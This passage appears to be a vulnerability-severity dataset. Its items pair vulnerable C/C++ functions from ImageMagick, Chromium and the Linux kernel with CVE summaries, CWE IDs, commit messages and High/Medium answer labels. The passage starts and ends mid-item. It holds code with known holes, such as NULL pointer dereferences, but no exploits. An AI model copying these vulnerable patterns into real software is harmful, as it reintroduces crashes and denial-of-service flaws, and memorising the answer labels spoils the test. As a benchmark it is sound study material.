=(%d,%d,%d)", (int) ping_trans_color.red, (int) ping_trans_color.green, (int) ping_trans_color.blue); } } } /* write any png-chunk-b profiles */ (void) Magick_png_write_chunk_from_profile(image,"PNG-chunk-b",logging); png_write_info(ping,ping_info); /* write any PNG-chunk-m profiles */ (void) Magick_png_write_chunk_from_profile(image,"PNG-chunk-m",logging); ping_wrote_caNv = MagickFalse; /* write caNv chunk */ if (ping_exclude_caNv == MagickFalse) { if ((image->page.width != 0 && image->page.width != image->columns) || (image->page.height != 0 && image->page.height != image->rows) || image->page.x != 0 || image->page.y != 0) { unsigned char chunk[20]; (void) WriteBlobMSBULong(image,16L); /* data length=8 */ PNGType(chunk,mng_caNv); LogPNGChunk(logging,mng_caNv,16L); PNGLong(chunk+4,(png_uint_32) image->page.width); PNGLong(chunk+8,(png_uint_32) image->page.height); PNGsLong(chunk+12,(png_int_32) image->page.x); PNGsLong(chunk+16,(png_int_32) image->page.y); (void) WriteBlob(image,20,chunk); (void) WriteBlobMSBULong(image,crc32(0,chunk,20)); ping_wrote_caNv = MagickTrue; } } #if defined(PNG_oFFs_SUPPORTED) if (ping_exclude_oFFs == MagickFalse && ping_wrote_caNv == MagickFalse) { if (image->page.x || image->page.y) { png_set_oFFs(ping,ping_info,(png_int_32) image->page.x, (png_int_32) image->page.y, 0); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up oFFs chunk with x=%d, y=%d, units=0", (int) image->page.x, (int) image->page.y); } } #endif /* write vpAg chunk (deprecated, replaced by caNv) */ if (ping_exclude_vpAg == MagickFalse && ping_wrote_caNv == MagickFalse) { if ((image->page.width != 0 && image->page.width != image->columns) || (image->page.height != 0 && image->page.height != image->rows)) { unsigned char chunk[14]; (void) WriteBlobMSBULong(image,9L); /* data length=8 */ PNGType(chunk,mng_vpAg); LogPNGChunk(logging,mng_vpAg,9L); PNGLong(chunk+4,(png_uint_32) image->page.width); PNGLong(chunk+8,(png_uint_32) image->page.height); chunk[12]=0; /* unit = pixels */ (void) WriteBlob(image,13,chunk); (void) WriteBlobMSBULong(image,crc32(0,chunk,13)); } } #if (PNG_LIBPNG_VER == 10206) /* avoid libpng-1.2.6 bug by setting PNG_HAVE_IDAT flag */ #define PNG_HAVE_IDAT 0x04 ping->mode |= PNG_HAVE_IDAT; #undef PNG_HAVE_IDAT #endif png_set_packing(ping); /* Allocate memory. */ rowbytes=image->columns; if (image_depth > 8) rowbytes*=2; switch (ping_color_type) { case PNG_COLOR_TYPE_RGB: rowbytes*=3; break; case PNG_COLOR_TYPE_GRAY_ALPHA: rowbytes*=2; break; case PNG_COLOR_TYPE_RGBA: rowbytes*=4; break; default: break; } if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing PNG image data"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Allocating %.20g bytes of memory for pixels",(double) rowbytes); } pixel_info=AcquireVirtualMemory(rowbytes,sizeof(*ping_pixels)); if (pixel_info == (MemoryInfo *) NULL) png_error(ping,"Allocation of memory for pixels failed"); ping_pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info); /* Initialize image scanlines. */ quantum_info=AcquireQuantumInfo(image_info,image); if (quantum_info == (QuantumInfo *) NULL) png_error(ping,"Memory allocation for quantum_info failed"); quantum_info->format=UndefinedQuantumFormat; SetQuantumDepth(image,quantum_info,image_depth); (void) SetQuantumEndian(image,quantum_info,MSBEndian); num_passes=png_set_interlace_handling(ping); if ((!mng_info->write_png8 && !mng_info->write_png24 && !mng_info->write_png48 && !mng_info->write_png64 && !mng_info->write_png32) && (mng_info->IsPalette || (image_info->type == BilevelType)) && image_matte == MagickFalse && ping_have_non_bw == MagickFalse) { /* Palette, Bilevel, or Opaque Monochrome */ register const Quantum *p; SetQuantumDepth(image,quantum_info,8); for (pass=0; pass < num_passes; pass++) { /* Convert PseudoClass image to a PNG monochrome image. */ for (y=0; y < (ssize_t) image->rows; y++) { if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing row of pixels (0)"); p=GetVirtualPixels(image,0,y,image->columns,1,exception); if (p == (const Quantum *) NULL) break; if (mng_info->IsPalette) { (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,GrayQuantum,ping_pixels,exception); if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_PALETTE && mng_info->write_png_depth && mng_info->write_png_depth != old_bit_depth) { /* Undo pixel scaling */ for (i=0; i < (ssize_t) image->columns; i++) *(ping_pixels+i)=(unsigned char) (*(ping_pixels+i) >> (8-old_bit_depth)); } } else { (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,RedQuantum,ping_pixels,exception); } if (mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_PALETTE) for (i=0; i < (ssize_t) image->columns; i++) *(ping_pixels+i)=(unsigned char) ((*(ping_pixels+i) > 127) ? 255 : 0); if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing row of pixels (1)"); png_write_row(ping,ping_pixels); status=SetImageProgress(image,SaveImageTag, (MagickOffsetType) (pass * image->rows + y), num_passes * image->rows); if (status == MagickFalse) break; } } } else /* Not Palette, Bilevel, or Opaque Monochrome */ { if ((!mng_info->write_png8 && !mng_info->write_png24 && !mng_info->write_png48 && !mng_info->write_png64 && !mng_info->write_png32) && (image_matte != MagickFalse || (ping_bit_depth >= MAGICKCORE_QUANTUM_DEPTH)) && (mng_info->IsPalette) && ping_have_color == MagickFalse) { register const Quantum *p; for (pass=0; pass < num_passes; pass++) { for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1,exception); if (p == (const Quantum *) NULL) break; if (ping_color_type == PNG_COLOR_TYPE_GRAY) { if (mng_info->IsPalette) (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,GrayQuantum,ping_pixels,exception); else (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,RedQuantum,ping_pixels,exception); if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing GRAY PNG pixels (2)"); } else /* PNG_COLOR_TYPE_GRAY_ALPHA */ { if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing GRAY_ALPHA PNG pixels (2)"); (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,GrayAlphaQuantum,ping_pixels,exception); } if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing row of pixels (2)"); png_write_row(ping,ping_pixels); status=SetImageProgress(image,SaveImageTag, (MagickOffsetType) (pass * image->rows + y), num_passes * image->rows); if (status == MagickFalse) break; } } } else { register const Quantum *p; for (pass=0; pass < num_passes; pass++) { if ((image_depth > 8) || mng_info->write_png24 || mng_info->write_png32 || mng_info->write_png48 || mng_info->write_png64 || (!mng_info->write_png8 && !mng_info->IsPalette)) { for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1, exception); if (p == (const Quantum *) NULL) break; if (ping_color_type == PNG_COLOR_TYPE_GRAY) { if (image->storage_class == DirectClass) (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,RedQuantum,ping_pixels,exception); else (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,GrayQuantum,ping_pixels,exception); } else if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,GrayAlphaQuantum,ping_pixels, exception); if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing GRAY_ALPHA PNG pixels (3)"); } else if (image_matte != MagickFalse) (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,RGBAQuantum,ping_pixels,exception); else (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,RGBQuantum,ping_pixels,exception); if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing row of pixels (3)"); png_write_row(ping,ping_pixels); status=SetImageProgress(image,SaveImageTag, (MagickOffsetType) (pass * image->rows + y), num_passes * image->rows); if (status == MagickFalse) break; } } else /* not ((image_depth > 8) || mng_info->write_png24 || mng_info->write_png32 || mng_info->write_png48 || mng_info->write_png64 || (!mng_info->write_png8 && !mng_info->IsPalette)) */ { if ((ping_color_type != PNG_COLOR_TYPE_GRAY) && (ping_color_type != PNG_COLOR_TYPE_GRAY_ALPHA)) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " pass %d, Image Is not GRAY or GRAY_ALPHA",pass); SetQuantumDepth(image,quantum_info,8); image_depth=8; } for (y=0; y < (ssize_t) image->rows; y++) { if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " pass %d, Image Is RGB, 16-bit GRAY, or GRAY_ALPHA", pass); p=GetVirtualPixels(image,0,y,image->columns,1, exception); if (p == (const Quantum *) NULL) break; if (ping_color_type == PNG_COLOR_TYPE_GRAY) { SetQuantumDepth(image,quantum_info,image->depth); (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,GrayQuantum,ping_pixels,exception); } else if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { if (logging != MagickFalse && y == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing GRAY_ALPHA PNG pixels (4)"); (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,GrayAlphaQuantum,ping_pixels, exception); } else { (void) ExportQuantumPixels(image,(CacheView *) NULL, quantum_info,IndexQuantum,ping_pixels,exception); if (logging != MagickFalse && y <= 2) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing row of non-gray pixels (4)"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " ping_pixels[0]=%d,ping_pixels[1]=%d", (int)ping_pixels[0],(int)ping_pixels[1]); } } png_write_row(ping,ping_pixels); status=SetImageProgress(image,SaveImageTag, (MagickOffsetType) (pass * image->rows + y), num_passes * image->rows); if (status == MagickFalse) break; } } } } } if (quantum_info != (QuantumInfo *) NULL) quantum_info=DestroyQuantumInfo(quantum_info); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Wrote PNG image data"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Width: %.20g",(double) ping_width); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Height: %.20g",(double) ping_height); if (mng_info->write_png_depth) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Defined png:bit-depth: %d",mng_info->write_png_depth); } (void) LogMagickEvent(CoderEvent,GetMagickModule(), " PNG bit-depth written: %d",ping_bit_depth); if (mng_info->write_png_colortype) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Defined png:color-type: %d",mng_info->write_png_colortype-1); } (void) LogMagickEvent(CoderEvent,GetMagickModule(), " PNG color-type written: %d",ping_color_type); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " PNG Interlace method: %d",ping_interlace_method); } /* Generate text chunks after IDAT. */ if (ping_exclude_tEXt == MagickFalse || ping_exclude_zTXt == MagickFalse) { ResetImagePropertyIterator(image); property=GetNextImageProperty(image); while (property != (const char *) NULL) { png_textp text; value=GetImageProperty(image,property,exception); /* Don't write any "png:" or "jpeg:" properties; those are just for * "identify" or for passing through to another JPEG */ if ((LocaleNCompare(property,"png:",4) != 0 && LocaleNCompare(property,"jpeg:",5) != 0) && /* Suppress density and units if we wrote a pHYs chunk */ (ping_exclude_pHYs != MagickFalse || LocaleCompare(property,"density") != 0 || LocaleCompare(property,"units") != 0) && /* Suppress the IM-generated Date:create and Date:modify */ (ping_exclude_date == MagickFalse || LocaleNCompare(property, "Date:",5) != 0)) { if (value != (const char *) NULL) { #if PNG_LIBPNG_VER >= 10400 text=(png_textp) png_malloc(ping, (png_alloc_size_t) sizeof(png_text)); #else text=(png_textp) png_malloc(ping,(png_size_t) sizeof(png_text)); #endif text[0].key=(char *) property; text[0].text=(char *) value; text[0].text_length=strlen(value); if (ping_exclude_tEXt != MagickFalse) text[0].compression=PNG_TEXT_COMPRESSION_zTXt; else if (ping_exclude_zTXt != MagickFalse) text[0].compression=PNG_TEXT_COMPRESSION_NONE; else { text[0].compression=image_info->compression == NoCompression || (image_info->compression == UndefinedCompression && text[0].text_length < 128) ? PNG_TEXT_COMPRESSION_NONE : PNG_TEXT_COMPRESSION_zTXt ; } if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up text chunk"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " keyword: '%s'",text[0].key); } png_set_text(ping,ping_info,text,1); png_free(ping,text); } } property=GetNextImageProperty(image); } } /* write any PNG-chunk-e profiles */ (void) Magick_png_write_chunk_from_profile(image,"PNG-chunk-e",logging); /* write exIf profile */ if (ping_have_eXIf != MagickFalse && ping_exclude_eXIf == MagickFalse) { char *name; ResetImageProfileIterator(image); for (name=GetNextImageProfile(image); name != (const char *) NULL; ) { if (LocaleCompare(name,"exif") == 0) { const StringInfo *profile; profile=GetImageProfile(image,name); if (profile != (StringInfo *) NULL) { png_uint_32 length; unsigned char chunk[4], *data; StringInfo *ping_profile; (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Have eXIf profile"); ping_profile=CloneStringInfo(profile); data=GetStringInfoDatum(ping_profile), length=(png_uint_32) GetStringInfoLength(ping_profile); PNGType(chunk,mng_eXIf); if (length < 7) { ping_profile=DestroyStringInfo(ping_profile); break; /* otherwise crashes */ } /* skip the "Exif\0\0" JFIF Exif Header ID */ length -= 6; LogPNGChunk(logging,chunk,length); (void) WriteBlobMSBULong(image,length); (void) WriteBlob(image,4,chunk); (void) WriteBlob(image,length,data+6); (void) WriteBlobMSBULong(image,crc32(crc32(0,chunk,4), data+6, (uInt) length)); ping_profile=DestroyStringInfo(ping_profile); break; } } name=GetNextImageProfile(image); } } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing PNG end info"); png_write_end(ping,ping_info); if (mng_info->need_fram && (int) image->dispose == BackgroundDispose) { if (mng_info->page.x || mng_info->page.y || (ping_width != mng_info->page.width) || (ping_height != mng_info->page.height)) { unsigned char chunk[32]; /* Write FRAM 4 with clipping boundaries followed by FRAM 1. */ (void) WriteBlobMSBULong(image,27L); /* data length=27 */ PNGType(chunk,mng_FRAM); LogPNGChunk(logging,mng_FRAM,27L); chunk[4]=4; chunk[5]=0; /* frame name separator (no name) */ chunk[6]=1; /* flag for changing delay, for next frame only */ chunk[7]=0; /* flag for changing frame timeout */ chunk[8]=1; /* flag for changing frame clipping for next frame */ chunk[9]=0; /* flag for changing frame sync_id */ PNGLong(chunk+10,(png_uint_32) (0L)); /* temporary 0 delay */ chunk[14]=0; /* clipping boundaries delta type */ PNGLong(chunk+15,(png_uint_32) (mng_info->page.x)); /* left cb */ PNGLong(chunk+19, (png_uint_32) (mng_info->page.x + ping_width)); PNGLong(chunk+23,(png_uint_32) (mng_info->page.y)); /* top cb */ PNGLong(chunk+27, (png_uint_32) (mng_info->page.y + ping_height)); (void) WriteBlob(image,31,chunk); (void) WriteBlobMSBULong(image,crc32(0,chunk,31)); mng_info->old_framing_mode=4; mng_info->framing_mode=1; } else mng_info->framing_mode=3; } if (mng_info->write_mng && !mng_info->need_fram && ((int) image->dispose == 3)) png_error(ping, "Cannot convert GIF with disposal method 3 to MNG-LC"); /* Free PNG resources. */ png_destroy_write_struct(&ping,&ping_info); pixel_info=RelinquishVirtualMemory(pixel_info); if (ping_have_blob != MagickFalse) (void) CloseBlob(image); image_info=DestroyImageInfo(image_info); image=DestroyImage(image); /* Store bit depth actually written */ s[0]=(char) ping_bit_depth; s[1]='\0'; (void) SetImageProperty(IMimage,"png:bit-depth-written",s,exception); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " exit WriteOnePNGImage()"); #ifdef IMPNG_SETJMP_NOT_THREAD_SAFE UnlockSemaphoreInfo(ping_semaphore); #endif /* } for navigation to beginning of SETJMP-protected block. Revert to * Throwing an Exception when an error occurs. */ return(MagickTrue); /* End write one PNG image */ } Vulnerability Type: DoS CWE ID: CWE-476 Summary: The WriteOnePNGImage function in coders/png.c in ImageMagick through 6.9.9-0 and 7.x through 7.0.6-1 allows remote attackers to cause a denial of service (NULL pointer dereference) via a crafted file. Commit Message: https://github.com/ImageMagick/ImageMagick/issues/58
Medium
168,009
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void InitNavigateParams(FrameHostMsg_DidCommitProvisionalLoad_Params* params, int nav_entry_id, bool did_create_new_entry, const GURL& url, ui::PageTransition transition) { params->nav_entry_id = nav_entry_id; params->url = url; params->referrer = Referrer(); params->transition = transition; params->redirects = std::vector<GURL>(); params->should_update_history = false; params->searchable_form_url = GURL(); params->searchable_form_encoding = std::string(); params->did_create_new_entry = did_create_new_entry; params->gesture = NavigationGestureUser; params->was_within_same_document = false; params->method = "GET"; params->page_state = PageState::CreateFromURL(url); } Vulnerability Type: CWE ID: CWE-254 Summary: content/browser/web_contents/web_contents_impl.cc in Google Chrome before 44.0.2403.89 does not ensure that a PDF document's modal dialog is closed upon navigation to an interstitial page, which allows remote attackers to spoof URLs via a crafted document, as demonstrated by the alert_dialog.pdf document. Commit Message: Correctly reset FP in RFHI whenever origin changes Bug: 713364 Change-Id: Id8bb923750e20f3db6fc9358b1d44120513ac95f CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_site_isolation Change-Id: Id8bb923750e20f3db6fc9358b1d44120513ac95f Reviewed-on: https://chromium-review.googlesource.com/482380 Commit-Queue: Ian Clelland <[email protected]> Reviewed-by: Charles Reis <[email protected]> Cr-Commit-Position: refs/heads/master@{#466778}
Medium
171,965
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int semctl_down(struct ipc_namespace *ns, int semid, int cmd, int version, void __user *p) { struct sem_array *sma; int err; struct semid64_ds semid64; struct kern_ipc_perm *ipcp; if(cmd == IPC_SET) { if (copy_semid_from_user(&semid64, p, version)) return -EFAULT; } ipcp = ipcctl_pre_down_nolock(ns, &sem_ids(ns), semid, cmd, &semid64.sem_perm, 0); if (IS_ERR(ipcp)) return PTR_ERR(ipcp); sma = container_of(ipcp, struct sem_array, sem_perm); err = security_sem_semctl(sma, cmd); if (err) { rcu_read_unlock(); goto out_unlock; } switch(cmd){ case IPC_RMID: ipc_lock_object(&sma->sem_perm); freeary(ns, ipcp); goto out_up; case IPC_SET: ipc_lock_object(&sma->sem_perm); err = ipc_update_perm(&semid64.sem_perm, ipcp); if (err) goto out_unlock; sma->sem_ctime = get_seconds(); break; default: rcu_read_unlock(); err = -EINVAL; goto out_up; } out_unlock: sem_unlock(sma); out_up: up_write(&sem_ids(ns).rw_mutex); return err; } Vulnerability Type: DoS CWE ID: CWE-189 Summary: The ipc_rcu_putref function in ipc/util.c in the Linux kernel before 3.10 does not properly manage a reference count, which allows local users to cause a denial of service (memory consumption or system crash) via a crafted application. Commit Message: ipc,sem: fine grained locking for semtimedop Introduce finer grained locking for semtimedop, to handle the common case of a program wanting to manipulate one semaphore from an array with multiple semaphores. If the call is a semop manipulating just one semaphore in an array with multiple semaphores, only take the lock for that semaphore itself. If the call needs to manipulate multiple semaphores, or another caller is in a transaction that manipulates multiple semaphores, the sem_array lock is taken, as well as all the locks for the individual semaphores. On a 24 CPU system, performance numbers with the semop-multi test with N threads and N semaphores, look like this: vanilla Davidlohr's Davidlohr's + Davidlohr's + threads patches rwlock patches v3 patches 10 610652 726325 1783589 2142206 20 341570 365699 1520453 1977878 30 288102 307037 1498167 2037995 40 290714 305955 1612665 2256484 50 288620 312890 1733453 2650292 60 289987 306043 1649360 2388008 70 291298 306347 1723167 2717486 80 290948 305662 1729545 2763582 90 290996 306680 1736021 2757524 100 292243 306700 1773700 3059159 [[email protected]: do not call sem_lock when bogus sma] [[email protected]: make refcounter atomic] Signed-off-by: Rik van Riel <[email protected]> Suggested-by: Linus Torvalds <[email protected]> Acked-by: Davidlohr Bueso <[email protected]> Cc: Chegu Vinod <[email protected]> Cc: Jason Low <[email protected]> Reviewed-by: Michel Lespinasse <[email protected]> Cc: Peter Hurley <[email protected]> Cc: Stanislav Kinsbursky <[email protected]> Tested-by: Emmanuel Benisty <[email protected]> Tested-by: Sedat Dilek <[email protected]> Signed-off-by: Andrew Morton <[email protected]> Signed-off-by: Linus Torvalds <[email protected]>
Medium
165,979
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: int user_match(const struct key *key, const struct key_match_data *match_data) { return strcmp(key->description, match_data->raw_data) == 0; } Vulnerability Type: DoS +Priv CWE ID: CWE-476 Summary: The KEYS subsystem in the Linux kernel before 3.18 allows local users to gain privileges or cause a denial of service (NULL pointer dereference and system crash) via vectors involving a NULL value for a certain match field, related to the keyring_search_iterator function in keyring.c. Commit Message: KEYS: Remove key_type::match in favour of overriding default by match_preparse A previous patch added a ->match_preparse() method to the key type. This is allowed to override the function called by the iteration algorithm. Therefore, we can just set a default that simply checks for an exact match of the key description with the original criterion data and allow match_preparse to override it as needed. The key_type::match op is then redundant and can be removed, as can the user_match() function. Signed-off-by: David Howells <[email protected]> Acked-by: Vivek Goyal <[email protected]>
High
168,443
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: long long AudioTrack::GetBitDepth() const { return m_bitDepth; } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792. Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
High
174,283
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void CrosLibrary::TestApi::SetBrightnessLibrary( BrightnessLibrary* library, bool own) { library_->brightness_lib_.SetImpl(library, own); } Vulnerability Type: Exec Code CWE ID: CWE-189 Summary: The Program::getActiveUniformMaxLength function in libGLESv2/Program.cpp in libGLESv2.dll in the WebGLES library in Almost Native Graphics Layer Engine (ANGLE), as used in Mozilla Firefox 4.x before 4.0.1 on Windows and in the GPU process in Google Chrome before 10.0.648.205 on Windows, allows remote attackers to execute arbitrary code via unspecified vectors, related to an *off-by-three* error. Commit Message: chromeos: Replace copy-and-pasted code with macros. This replaces a bunch of duplicated-per-library cros function definitions and comments. BUG=none TEST=built it Review URL: http://codereview.chromium.org/6086007 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@70070 0039d316-1c4b-4281-b951-d872f2087c98
High
170,635
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: nf_nat_redirect_ipv4(struct sk_buff *skb, const struct nf_nat_ipv4_multi_range_compat *mr, unsigned int hooknum) { struct nf_conn *ct; enum ip_conntrack_info ctinfo; __be32 newdst; struct nf_nat_range newrange; NF_CT_ASSERT(hooknum == NF_INET_PRE_ROUTING || hooknum == NF_INET_LOCAL_OUT); ct = nf_ct_get(skb, &ctinfo); NF_CT_ASSERT(ct && (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED)); /* Local packets: make them go to loopback */ if (hooknum == NF_INET_LOCAL_OUT) { newdst = htonl(0x7F000001); } else { struct in_device *indev; struct in_ifaddr *ifa; newdst = 0; rcu_read_lock(); indev = __in_dev_get_rcu(skb->dev); if (indev != NULL) { ifa = indev->ifa_list; newdst = ifa->ifa_local; } rcu_read_unlock(); if (!newdst) return NF_DROP; } /* Transfer from original range. */ memset(&newrange.min_addr, 0, sizeof(newrange.min_addr)); memset(&newrange.max_addr, 0, sizeof(newrange.max_addr)); newrange.flags = mr->range[0].flags | NF_NAT_RANGE_MAP_IPS; newrange.min_addr.ip = newdst; newrange.max_addr.ip = newdst; newrange.min_proto = mr->range[0].min; newrange.max_proto = mr->range[0].max; /* Hand modified range to generic setup. */ return nf_nat_setup_info(ct, &newrange, NF_NAT_MANIP_DST); } Vulnerability Type: DoS CWE ID: Summary: The nf_nat_redirect_ipv4 function in net/netfilter/nf_nat_redirect.c in the Linux kernel before 4.4 allows remote attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by sending certain IPv4 packets to an incompletely configured interface, a related issue to CVE-2003-1604. Commit Message: netfilter: nf_nat_redirect: add missing NULL pointer check Commit 8b13eddfdf04cbfa561725cfc42d6868fe896f56 ("netfilter: refactor NAT redirect IPv4 to use it from nf_tables") has introduced a trivial logic change which can result in the following crash. BUG: unable to handle kernel NULL pointer dereference at 0000000000000030 IP: [<ffffffffa033002d>] nf_nat_redirect_ipv4+0x2d/0xa0 [nf_nat_redirect] PGD 3ba662067 PUD 3ba661067 PMD 0 Oops: 0000 [#1] SMP Modules linked in: ipv6(E) xt_REDIRECT(E) nf_nat_redirect(E) xt_tcpudp(E) iptable_nat(E) nf_conntrack_ipv4(E) nf_defrag_ipv4(E) nf_nat_ipv4(E) nf_nat(E) nf_conntrack(E) ip_tables(E) x_tables(E) binfmt_misc(E) xfs(E) libcrc32c(E) evbug(E) evdev(E) psmouse(E) i2c_piix4(E) i2c_core(E) acpi_cpufreq(E) button(E) ext4(E) crc16(E) jbd2(E) mbcache(E) dm_mirror(E) dm_region_hash(E) dm_log(E) dm_mod(E) CPU: 0 PID: 2536 Comm: ip Tainted: G E 4.1.7-15.23.amzn1.x86_64 #1 Hardware name: Xen HVM domU, BIOS 4.2.amazon 05/06/2015 task: ffff8800eb438000 ti: ffff8803ba664000 task.ti: ffff8803ba664000 [...] Call Trace: <IRQ> [<ffffffffa0334065>] redirect_tg4+0x15/0x20 [xt_REDIRECT] [<ffffffffa02e2e99>] ipt_do_table+0x2b9/0x5e1 [ip_tables] [<ffffffffa0328045>] iptable_nat_do_chain+0x25/0x30 [iptable_nat] [<ffffffffa031777d>] nf_nat_ipv4_fn+0x13d/0x1f0 [nf_nat_ipv4] [<ffffffffa0328020>] ? iptable_nat_ipv4_fn+0x20/0x20 [iptable_nat] [<ffffffffa031785e>] nf_nat_ipv4_in+0x2e/0x90 [nf_nat_ipv4] [<ffffffffa03280a5>] iptable_nat_ipv4_in+0x15/0x20 [iptable_nat] [<ffffffff81449137>] nf_iterate+0x57/0x80 [<ffffffff814491f7>] nf_hook_slow+0x97/0x100 [<ffffffff814504d4>] ip_rcv+0x314/0x400 unsigned int nf_nat_redirect_ipv4(struct sk_buff *skb, ... { ... rcu_read_lock(); indev = __in_dev_get_rcu(skb->dev); if (indev != NULL) { ifa = indev->ifa_list; newdst = ifa->ifa_local; <--- } rcu_read_unlock(); ... } Before the commit, 'ifa' had been always checked before access. After the commit, however, it could be accessed even if it's NULL. Interestingly, this was once fixed in 2003. http://marc.info/?l=netfilter-devel&m=106668497403047&w=2 In addition to the original one, we have seen the crash when packets that need to be redirected somehow arrive on an interface which hasn't been yet fully configured. This change just reverts the logic to the old behavior to avoid the crash. Fixes: 8b13eddfdf04 ("netfilter: refactor NAT redirect IPv4 to use it from nf_tables") Signed-off-by: Munehisa Kamata <[email protected]> Signed-off-by: Pablo Neira Ayuso <[email protected]>
High
167,497
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static MagickBooleanType ReadPSDChannel(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info,LayerInfo* layer_info, const size_t channel,const PSDCompressionType compression, ExceptionInfo *exception) { Image *channel_image, *mask; MagickOffsetType offset; MagickBooleanType status; channel_image=image; mask=(Image *) NULL; if ((layer_info->channel_info[channel].type < -1) && (layer_info->mask.page.width > 0) && (layer_info->mask.page.height > 0)) { const char *option; /* Ignore mask that is not a user supplied layer mask, if the mask is disabled or if the flags have unsupported values. */ option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if ((layer_info->channel_info[channel].type != -2) || (layer_info->mask.flags > 2) || ((layer_info->mask.flags & 0x02) && (IsStringTrue(option) == MagickFalse))) { SeekBlob(image,layer_info->channel_info[channel].size-2,SEEK_CUR); return(MagickTrue); } mask=CloneImage(image,layer_info->mask.page.width, layer_info->mask.page.height,MagickFalse,exception); if (mask != (Image *) NULL) { SetImageType(mask,GrayscaleType,exception); channel_image=mask; } } offset=TellBlob(image); status=MagickFalse; switch(compression) { case Raw: 